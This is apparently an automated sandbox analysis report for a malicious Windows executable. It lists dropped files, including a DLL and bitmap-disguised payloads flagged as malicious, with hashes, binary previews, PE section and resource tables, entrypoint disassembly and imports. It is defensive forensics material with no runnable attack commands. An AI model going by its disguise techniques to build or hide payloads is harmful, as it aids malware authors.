Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........M...M...M.....O...D...F...M...d.../..Y.../..X.../..Q.../..L.../.u.L.../..L...RichM...........PE..L...19............"!.........................................................P............@A........................P........ .......0...................'...@......x$..T............................#..@............ ...............................text...d........................... ..`.data...............................@....idata....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\6fjdie\libcef.dll

Download File

Process:	C:\Users\user\Desktop\pXm5oVO3Go.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	524288000
Entropy (8bit):	0.03653807951946192
Encrypted:	false
SSDEEP:
MD5:	D951A61C56A005A8415DC86758E08557
SHA1:	A94BE1A3E166FCCADEC300885B0B923735DA7596
SHA-256:	DCD188D383CB6347BFED0F4E6209ABD579526E729B003C31C3A8B117C1475AF6
SHA-512:	D63B9887F945F6ABDAEA2FE297507AB9E1A84B10864C8AE454E8E3714C77C19131614FDD6DEAB85CA9950A6227D5559FF1002869FDCE63C9DFDDA7998BB22188
Malicious:	true
Joe Sandbox View:	Filename: nOyswc9ly2.dll, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..........4.......!..........)......9.......c.........1.....0.....7....Rich...........PE..L...5..f...........!.........0......$].......................................0............@.........................pI......t6.......0..X....................@..l...................................X(..@............................................text...!........................... ..`.rdata..Z...........................@..@.data.......p.......T..............@....rsrc...X....0......................@..@.reloc..V....@......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\6fjdie\t3d.tmp

Download File

Process:	C:\Users\user\Desktop\pXm5oVO3Go.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	6443425
Entropy (8bit):	7.999970882342927
Encrypted:	true
SSDEEP:	98304:7c5bWQVHWXS1k+CxcfLg3LFvsI0i/2tEn+ynekhscRZ+Q3FqFoJSnerSgkogC6qz:7c5FNB7WRjsUZn5h/+e7Vkokqg8iEHCu
MD5:	FB936CD4F33E5AE9AB88D7AE21B8D654
SHA1:	157DF7F219BB272F2DC56B3AA0BD5CE70E4902DA
SHA-256:	3C55279D70BBAAA18DCA653DD5922BEAE2F720B8285D6A195A21961DE005BCF2
SHA-512:	F72254B4CE87CAAFA12DD2DDEEC7B77DABEE2FC052E3CA102E55C5ABCC7F99FD4EE6A8544F5942D2A75EDF66C406CB20A0978E9E378055B79EFFB820094AADC1
Malicious:	false
Preview:	PK........R..Y................text/UT....1.f.1.f.1.fPK..........7X........x.......text/MSVCP140.dllUT.....ej..f2M.f.z.0I\pq...7....N...y..A....L.:.v.FF.e}.F."..._.....hI.g....M_.....]..x..h.\....xh...=X....R. .....W2O#-.u..-sZ.%.ST..=.{...3W>...h./.(...nL..&.+~.^BY..<..:.T..k......jq.[...n.T..{h....../c..iAj..+..\|..\|.x\.:L.S...C.@r..M.u....`%..fJK].^.;$)...(.H.$...W1;c..9;fLF.....h..!=\|.z..<.2..A ..<.=T.(.t-....j.K<.z>.Uu.....>a..".-,7.\.Q.k...'#.....P....G.[H;...}.h........}.i..x...!sVN.8....G.&_#...]J...._g]..G....,f.RJ...U/...w.d.........v.-........!.A=\\Un.....f....5c`7.[..t.:..J1.../HV.%..6I....I....B.e.j.".....>...($....\|:.Wb..wAx.......B.MX}b.p..k.05.5^%.w.C.... ua}.......:..?u...!j[..0;!...Bi..d..i.F.2T..2.....m..gC.}.R....2.J...7.J$u)...#oo.DD...$..P.OTzy.D.F..S5.)i.......A\....]..t...P4..R..;O..._k.F..@..1......j.a.."..<...V.m....je...I....lO.........\|sl.".J..X..l8C..xqR."e.yt`.6.o8!.E...#.uA.S../..Vh...q...Q.....4JN^...;Q..v

C:\Program Files (x86)\6fjdie\t4d.tmp

Download File

Process:	C:\Users\user\Desktop\pXm5oVO3Go.exe
File Type:	PC bitmap, Windows 3.x format, 556 x 556 x 32, image size 1236544, cbSize 1236598, bits offset 54
Category:	dropped
Size (bytes):	1236598
Entropy (8bit):	7.382377228331485
Encrypted:	false
SSDEEP:	24576:hXptT9TEpaNPwRTOMcEBe0rOZsdEjQGUeK+GKe66/uV:hZXFNoRk10aZsWjQeBGT
MD5:	137CAFC945CE96E386ECBFBD8C915D46
SHA1:	815BD011538F45CFA469C76861EBD5F7CC24AA79
SHA-256:	12F9EDFB042B9D83AF6FA44F3DEE7A320A8D17F5951996B56563ABF3E527470B
SHA-512:	5C377130ED4A2CA7FD8A1DCE5001D492E46D1947B6101658CC517366FDE75B0E8AA02168BA258BC35640AE0BB6915916854EC5DA1B4D58137B552C9BFFBB5027
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	BMv.......6...(...,...,..... .....@...................*R..d...c...........g...'...g...g...g...g...g...g...g...g.......i...g...F..L.)Th.{ p.ggr.e c.fno.(beGzunGan #GS .gdeI...C...g......A...........4........F..........).....9...................1......0......7....5ach...g...g...7M..+...R..fg...g......!l...g...g8..g...CU..g...g...g...g...g...b...g...b...g...g8..g...g...e.@.g...g...g...g...g...w....A.......>......g8..?...g...g...g...g...gH......g...g...g...g...g...g...g...g...? ..'...g...g...g.......g...g...g...g...g...g...I\|ex....F...g...g...g...g...g...g...G..`Izda.i..=...g...g...g...g...g...g...'..@Ilat........gx..g...g\..g...g...g...'...Izsr....?...g8..g...g...g...g...g...'..@Izel.k..1...gH..g...g...g...g...g...'..Bg...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g.

C:\Program Files (x86)\6fjdie\t5d.tmp

Download File

Process:	C:\Users\user\Desktop\pXm5oVO3Go.exe
File Type:	PC bitmap, Windows 3.x format, 378 x 377 x 32, image size 570024, cbSize 570078, bits offset 54
Category:	dropped
Size (bytes):	569918
Entropy (8bit):	7.22606385832403
Encrypted:	false
SSDEEP:	12288:Msj4UEF0Jo9ihYDdKa+yKGBaCMLT2ftNQ:L8Eo9dhKwnBfMLTqNQ
MD5:	F2FA7879FAA4B732675FF265D3DA6FC0
SHA1:	B9A5074F0D86EFA0CDACB4214C1FE66A41B8525E
SHA-256:	8C7506B772BBFD534F20280AF36564FB4AE95C8708A2F95D471ED607CCF65272
SHA-512:	5020D0403FE3D30570843CC8B08B76E7B3FBAA3A706293125DFDC6C60EE42536F90B753F2536068C87F850D96B14A9030392144B0561966B7A223055D38908C1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	BM.......6...(...z...y..... .............................gPU.............o.h.g..hc...5`.t.QP.b..........f..S2^Wj.Pje...$....T.Xj.Qjn<blZ.;f..,..g.f..,..g.XjUn..C...gPj....$....?bdf.$.g..X.$.g....,4..,..g...C...g..$.....$.g....,..g.f..,..g.f..,..g.f..,..g.f..,..g.f..,..g.f..,..g..DC4S.3,=f.L$>.m.DCHpf.L$P+g.DCZa.#,Sf.L$T+a.DC^b.+,W.#,Xa.D$Y..D$=qAf.L$D1a.LCNf.#,Gt..D$.i.TCB.DCCA.3,L.3,Mf.L$N.kf.#,\V..L$9n.DCWtu.L$a..T$..D$.X.LCl.DCmot.k.DCat..,..g.F..,..g..C...g}sh...$......$.....\|..C...g.$.....kti..$.g..o.mY..,..g..LCe.LC\|.LCq..C...g......C...g.$....$ich.L$l .D$.\|Na.n.DCziv.L$u4qst..D$.eI.;,\|f.L$}.gf..,..g.Rt.$.g....,..g.A..,..g...C...gn.C...gNu..,..g..C...gkti...$......$....3i.C...gj..C...g.w.g...&.^...k.g....$.g..j...$....?n..C...gn..C...g.D${X..C...g.\$SXUU..j.8.D$#n.\|C..DC..DC<PU.L$...\|$yX.tC ....Xf.L$...D$q.D$;.D$...$....7].DC.P..,(..b.X..D$sn.DC...C...g.D$...$....7].DC.P..,(..b.^.L$l..t$s.D$...$....7].DC.f..,.P.\|$(..j.?n.DC.f.#,..#,<.#,...,..g.PU.L$.7.t$O...,..g.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\long[1].bmp

Download File

Process:	C:\Users\user\Desktop\pXm5oVO3Go.exe
File Type:	data
Category:	dropped
Size (bytes):	139784
Entropy (8bit):	6.883954420272221
Encrypted:	false
SSDEEP:	1536:lqOmEtRGptJAq+NKUmALI1C381ngfvMfqaJYn2KCkH0g9bbQWplEjyHWpdyxk9nG:lIhI+xr1ngfv4KVUeQWlfHWpoy80lKX
MD5:	98C50817D295EEAC3C2968A656B79ADD
SHA1:	0401B3CC5586255FFDD849B5C6E1A5124C7090E0
SHA-256:	A8731026677A88F696A64FDC113BB33C5B94B059313A447F95A4459E281ED53B
SHA-512:	354DBB5E89D1C18CBDD3C4D81FAB733B4B3259A12DA5BDD929E46B1ADD2954B8C9DEA832075E7C8D879641B1895BC597D27634B4E0DE937808CD32ECC624239E
Malicious:	false
Preview:	.l..l4U......g....!nlh.ll.hhl..>....P.il........ml.S9:Wj.4je..$.l.._.Xj.5jn7.lZ._f..H..llf..H..llXj^...H...l4j...$.l..4.df..$.ll.X..$.ll...H4..H..ll..H...l.$.l....$.ll...H..llf..H..llf..H..llf..H..llf..H..llf..H..llf..H..ll.DHPS.8H=f.($>...DH,pf.($P ..DH>a.(HSf.($T ..DH:b. HW.(HXa. $Y..D$6.Af.($D:..LHf.(HGt..D$%..TH&.DH'A.8HL.8HMf.($N..f.(H\V..L$2..DH3tu.($a..T$..D$.<.LH..DH.ot...DH.t..H..llF..H..ll.H...l.sh%.$.l.....$.l......H...l..$.l....ti..$.ll.o..Y..H..ll.LH..LH..LH...H...l......H...l..$.l../.ch.($l+.D$..Na...DH.iv.($u?.st..D$..I.0H\|f.($}..f..H..llRt..$.ll...H..llA..H..ll..H...l..H...lu..H..ll.H...l.ti..$.l.....$.l..8..H...l...H...l.w.ll..-.^...k.ll....$.ll.jt.$.l..4...H...l...H...l.D$p<..H...l.\$X<UU..j.3.D$(..\|Hx.DHt.DHXPU.($...\|$r<.tHD...bXf.($...D$z.D$0.D$t.$.l..<9.DHpP..H(....X..D$x..DHz..H...l.D$t.$.l..<9.DHpP..H(....^.($l..t$x.D$t.$.l..<9.DHpf..H.P..$(..j.4..DHxf.(H..(H<.(H...H..llPU.($.<.t$D...H..llf..H..(H...H..llPU.($...t$r<.tHD...($P..\|$x.D$t.$.l..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.622548477017203
TrID:	Win32 Executable (generic) a (10002005/4) 98.39% Windows ActiveX control (116523/4) 1.15% InstallShield setup (43055/19) 0.42% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	pXm5oVO3Go.exe
File size:	3'656'704 bytes
MD5:	64a2f030c7c91762485ee16bc8a12e4f
SHA1:	6193a1b655e641719f0b54edcdfce8fa326dc934
SHA256:	d863d9572524236e97528275899b73ffe7f182b4824bd7efc12a2e8ae3e8955e
SHA512:	733aa188bfa26cf83f5937e8e96ffbce40067861c0167d268a7698fb18e6a7ace96ac595090bcd81e5612306200ce26cdfeffc708dba0433b4498e26e6361eb7
SSDEEP:	98304:o/QjJmzcVnj6Ov4xDSLrMcXCKKoRpv06CECrq4zFe2uiBzx:oQxvpXgIIECrq4z7zx
TLSH:	F906B012BBC1C076E5533631916BA37E967DD6330B3592C396A42E395E301D2AA3D38F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&/RCbN<.bN<.bN<.k6..cN<.k6..qN<.....eN<.y...SN<.y....O<.bN=..M<.k6..IN<.y....M<.y...wN<.E...cN<.y...cN<.RichbN<................

File Icon


Icon Hash:	f2d3d1d3b3f3d305

Static PE Info

General

Entrypoint:	0x6388e6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x618BA2AE [Wed Nov 10 10:45:02 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	974b68147a5b729a587369f0f61bfd7a

Entrypoint Preview

Instruction
call 00007F3EF8B207A2h
jmp 00007F3EF8B12F1Eh
cmp ecx, dword ptr [007330B0h]
jne 00007F3EF8B13094h
rep ret
jmp 00007F3EF8B20829h
mov edi, edi
push ebp
mov ebp, esp
mov eax, ecx
mov ecx, dword ptr [ebp+08h]
mov dword ptr [eax], 006F7058h
mov ecx, dword ptr [ecx]
mov dword ptr [eax+04h], ecx
mov byte ptr [eax+08h], 00000000h
pop ebp
retn 0008h
mov eax, dword ptr [ecx+04h]
test eax, eax
jne 00007F3EF8B13097h
mov eax, 006F7060h
ret
mov edi, edi
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
push edi
mov edi, ecx
je 00007F3EF8B130BFh
push esi
push dword ptr [ebp+08h]
call 00007F3EF8B1BD35h
lea esi, dword ptr [eax+01h]
push esi
call 00007F3EF8B14A23h
pop ecx
pop ecx
mov dword ptr [edi+04h], eax
test eax, eax
je 00007F3EF8B130A3h
push dword ptr [ebp+08h]
push esi
push eax
call 00007F3EF8B208D2h
add esp, 0Ch
mov byte ptr [edi+08h], 00000001h
pop esi
pop edi
pop ebp
retn 0004h
mov edi, edi
push esi
mov esi, ecx
cmp byte ptr [esi+08h], 00000000h
je 00007F3EF8B1309Bh
push dword ptr [esi+04h]
call 00007F3EF8B1354Ah
pop ecx
and dword ptr [esi+04h], 00000000h
mov byte ptr [esi+08h], 00000000h
pop esi
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov esi, ecx
and dword ptr [esi+04h], 00000000h
mov dword ptr [esi], 006F7058h
mov byte ptr [esi+08h], 00000000h
push dword ptr [eax]
call 00007F3EF8B13017h
mov eax, esi
pop esi
pop ebp
retn 0004h

Rich Headers

Programming Language:

[C++] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x31fb9c	0x1b8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x341000	0xaa44	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x34c000	0x2c8d4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x284fe0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x301528	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x284000	0xbdc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2820a2	0x282200	16656008fa9113fe9a8690fd52ad0edf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x284000	0x9fa02	0x9fc00	442a0c929db0624d257be64f33b72a07	False	0.36007036140453835	data	5.64738857990474	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x324000	0x1c24c	0x11a00	d35d40b93758c0e3b2e6b3ac2f5f260a	False	0.390874335106383	data	5.348760131046066	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x341000	0xb000	0xac00	2dc3de242e4b5797c6a1bd0bd0dc65b4	False	0.30193949854651164	data	4.641268087531589	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x34c000	0x3e20a	0x3e400	81ed51bb4e26407ded2394fc2f1c2016	False	0.34334211847389556	data	5.439303048507579	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x341e50	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4805194805194805
RT_CURSOR	0x341f84	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	Chinese	China	0.7
RT_CURSOR	0x342038	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.36363636363636365
RT_CURSOR	0x34216c	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.35714285714285715
RT_CURSOR	0x3422a0	0x134	data	Chinese	China	0.37337662337662336
RT_CURSOR	0x3423d4	0x134	data	Chinese	China	0.37662337662337664
RT_CURSOR	0x342508	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
RT_CURSOR	0x34263c	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.37662337662337664
RT_CURSOR	0x342770	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
RT_CURSOR	0x3428a4	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.38636363636363635
RT_CURSOR	0x3429d8	0x134	data	Chinese	China	0.44155844155844154
RT_CURSOR	0x342b0c	0x134	data	Chinese	China	0.4155844155844156
RT_CURSOR	0x342c40	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.5422077922077922
RT_CURSOR	0x342d74	0x134	data	Chinese	China	0.2662337662337662
RT_CURSOR	0x342ea8	0x134	data	Chinese	China	0.2824675324675325
RT_CURSOR	0x342fdc	0x134	data	Chinese	China	0.3246753246753247
RT_BITMAP	0x343110	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	Chinese	China	0.44565217391304346
RT_BITMAP	0x3431c8	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	Chinese	China	0.37962962962962965
RT_ICON	0x34330c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.4222972972972973
RT_ICON	0x343434	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Chinese	China	0.45303468208092484
RT_ICON	0x34399c	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 832	Chinese	China	0.6444954128440367
RT_ICON	0x343d04	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.2110215053763441
RT_ICON	0x343fec	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	Chinese	China	0.5505415162454874
RT_ICON	0x344894	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	Chinese	China	0.4450959488272921
RT_ICON	0x34573c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Chinese	China	0.5691489361702128
RT_ICON	0x345ba4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Chinese	China	0.3428705440900563
RT_ICON	0x346c4c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Chinese	China	0.24626556016597512
RT_DIALOG	0x3491f4	0x124	data	Chinese	China	0.6883561643835616
RT_DIALOG	0x349318	0x44	data	Chinese	China	0.9558823529411765
RT_DIALOG	0x34935c	0x110	data	Chinese	China	0.45588235294117646
RT_DIALOG	0x34946c	0x8c	data	Chinese	China	0.7
RT_DIALOG	0x3494f8	0x44	data	Chinese	China	0.7941176470588235
RT_DIALOG	0x34953c	0x94	data	Chinese	China	0.7432432432432432
RT_DIALOG	0x3495d0	0x44	data	Chinese	China	0.8676470588235294
RT_DIALOG	0x349614	0x44	data	Chinese	China	0.8529411764705882
RT_DIALOG	0x349658	0x11a	data	Chinese	China	0.6985815602836879
RT_DIALOG	0x349774	0xe8	data	Chinese	China	0.6336206896551724
RT_DIALOG	0x34985c	0x34	data	Chinese	China	0.9038461538461539
RT_STRING	0x349890	0x46	data	Chinese	China	0.7
RT_STRING	0x3498d8	0x82	StarOffice Gallery theme p, 536899072 objects, 1st n	Chinese	China	0.7153846153846154
RT_STRING	0x34995c	0x2a	data	Chinese	China	0.5476190476190477
RT_STRING	0x349988	0x184	data	Chinese	China	0.48711340206185566
RT_STRING	0x349b0c	0x4e6	data	Chinese	China	0.37719298245614036
RT_STRING	0x349ff4	0x264	data	Chinese	China	0.3333333333333333
RT_STRING	0x34a258	0x2da	data	Chinese	China	0.3698630136986301
RT_STRING	0x34a534	0x8a	data	Chinese	China	0.6594202898550725
RT_STRING	0x34a5c0	0xac	data	Chinese	China	0.45348837209302323
RT_STRING	0x34a66c	0xde	data	Chinese	China	0.536036036036036
RT_STRING	0x34a74c	0x4a8	data	Chinese	China	0.3221476510067114
RT_STRING	0x34abf4	0x228	data	Chinese	China	0.4003623188405797
RT_STRING	0x34ae1c	0x2c	data	Chinese	China	0.5227272727272727
RT_STRING	0x34ae48	0x53c	data	Chinese	China	0.2947761194029851
RT_GROUP_CURSOR	0x34b384	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x34b3a8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b3bc	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b3d0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b3e4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b3f8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b40c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b420	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b434	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b448	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b45c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b470	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b484	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b498	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x34b4ac	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_ICON	0x34b4c0	0x84	data	Chinese	China	0.6439393939393939
RT_VERSION	0x34b544	0x2a4	data	Chinese	China	0.5281065088757396
RT_HTML	0x34b7e8	0xf	HTML document, ASCII text, with no line terminators	Chinese	China	1.5333333333333334
RT_MANIFEST	0x34b7f8	0x249	XML 1.0 document, ASCII text	English	United States	0.576068376068376

Imports

DLL	Import
WS2_32.dll	freeaddrinfo, htons, inet_addr, socket, bind, WSAGetLastError, WSAAsyncSelect, listen, accept, inet_ntoa, recv, send, WSACleanup, closesocket, WSASetLastError, __WSAFDIsSet, select, WSAIoctl, setsockopt, getsockname, ntohs, getsockopt, getpeername, connect, WSAStartup, getaddrinfo, sendto, recvfrom, ioctlsocket, gethostname, shutdown, htonl, getservbyname, gethostbyname
WLDAP32.dll
CRYPT32.dll	CertCloseStore, CertEnumCertificatesInStore, CertFindCertificateInStore, CertOpenStore, CertGetCertificateContextProperty, CertFreeCertificateContext, CertDuplicateCertificateContext
KERNEL32.dll	GetTempFileNameW, GetTempPathW, GetWindowsDirectoryW, GetNumberFormatW, GetFileAttributesW, GetProfileIntW, SearchPathW, SetErrorMode, GetFileAttributesExW, SetEndOfFile, FileTimeToLocalFileTime, GetFileSizeEx, GetFileTime, VirtualProtect, GetUserDefaultLCID, FindResourceExW, HeapSetInformation, GetStartupInfoW, HeapFree, GetCPInfo, CreateDirectoryW, EncodePointer, DecodePointer, GetSystemTimeAsFileTime, HeapAlloc, HeapReAlloc, ExitThread, CreateThread, ExitProcess, VirtualAlloc, GetSystemInfo, VirtualQuery, GetDriveTypeA, FindFirstFileExA, GetFileInformationByHandle, GetFileAttributesA, CreateFileA, SetConsoleCtrlHandler, ReadConsoleInputA, SetConsoleMode, GetConsoleMode, RtlUnwind, HeapQueryInformation, HeapSize, SetStdHandle, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, HeapCreate, TerminateProcess, UnhandledExceptionFilter, IsDebuggerPresent, IsProcessorFeaturePresent, LCMapStringW, GetStringTypeW, GetTimeZoneInformation, GetConsoleCP, GetOEMCP, IsValidCodePage, GetFullPathNameA, GetProcessHeap, WriteConsoleW, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, GetDriveTypeW, SetEnvironmentVariableA, UnlockFile, LockFile, SetFilePointer, lstrcmpiW, DeleteFileW, GetCurrentDirectoryW, GlobalFlags, GetSystemDirectoryW, TlsFree, LocalReAlloc, TlsSetValue, TlsAlloc, GlobalHandle, GlobalReAlloc, TlsGetValue, LocalAlloc, InterlockedIncrement, FileTimeToSystemTime, GetThreadLocale, GlobalGetAtomNameW, RaiseException, WritePrivateProfileStringW, GetFullPathNameW, ResumeThread, SetThreadPriority, InterlockedDecrement, ReleaseActCtx, CreateActCtxW, lstrcmpA, GetUserDefaultUILanguage, ConvertDefaultLocale, GetSystemDefaultUILanguage, GetLocaleInfoW, LoadLibraryExW, GlobalAddAtomW, GlobalFindAtomW, GlobalDeleteAtom, GetVersionExW, GetModuleHandleW, CompareStringW, InitializeCriticalSectionAndSpinCount, lstrcmpW, ActivateActCtx, DeactivateActCtx, CopyFileW, GlobalSize, FormatMessageW, LocalFree, MulDiv, GetSystemTime, SystemTimeToFileTime, GlobalMemoryStatus, FindClose, GetVersion, FlushConsoleInputBuffer, FormatMessageA, SetLastError, GetStdHandle, GetFileType, WaitForMultipleObjects, PeekNamedPipe, ReadFile, ExpandEnvironmentStringsA, QueryPerformanceCounter, GetTickCount, SleepEx, QueryPerformanceFrequency, GetModuleHandleA, LoadLibraryA, GetSystemDirectoryA, VerSetConditionMask, VerifyVersionInfoA, OpenProcess, Process32NextW, Process32FirstW, CreateToolhelp32Snapshot, OutputDebugStringA, OutputDebugStringW, GetFileSize, FlushFileBuffers, FreeResource, GlobalFree, InterlockedExchange, GlobalUnlock, GlobalLock, GlobalAlloc, lstrlenA, WriteFile, GetCurrentThread, GetCurrentProcessId, CreateFileW, GetCurrentProcess, lstrcpyW, GetExitCodeProcess, WaitForSingleObject, CreateProcessW, GetModuleFileNameW, WideCharToMultiByte, lstrlenW, FreeLibrary, GetProcAddress, LoadLibraryW, GetCommandLineW, Sleep, CloseHandle, GetLastError, SetUnhandledExceptionFilter, MultiByteToWideChar, GetACP, GetPrivateProfileStringW, FindResourceW, LoadResource, LockResource, SizeofResource, GetCurrentThreadId, InitializeCriticalSection, LeaveCriticalSection, EnterCriticalSection, DeleteCriticalSection, GetVolumeInformationW, FindFirstFileW, GetPrivateProfileIntW, DuplicateHandle, InterlockedCompareExchange, GetTimeFormatA, GetDateFormatA
USER32.dll	ReuseDDElParam, UnpackDDElParam, CopyIcon, CharUpperBuffW, PostThreadMessageW, DefFrameProcW, DefMDIChildProcW, DrawMenuBar, TranslateMDISysAccel, CreateMenu, IsClipboardFormatAvailable, GetUpdateRect, GetDoubleClickTime, IsCharLowerW, GetKeyNameTextW, MapVirtualKeyExW, SubtractRect, DestroyCursor, GetWindowRgn, InsertMenuItemW, TranslateAcceleratorW, FrameRect, RegisterClipboardFormatW, EmptyClipboard, CloseClipboard, SetClipboardData, OpenClipboard, LoadImageW, GetIconInfo, HideCaret, InvertRect, LockWindowUpdate, BringWindowToTop, SetCursorPos, CreateAcceleratorTableW, LoadAcceleratorsW, GetKeyboardState, GetKeyboardLayout, MapVirtualKeyW, ToUnicodeEx, DrawFocusRect, DrawFrameControl, DrawEdge, DrawIconEx, SetClassLongW, DestroyAcceleratorTable, SetParent, DestroyIcon, GetNextDlgGroupItem, InvalidateRgn, SetRect, CopyAcceleratorTableW, CharNextW, UnregisterClassW, WaitMessage, 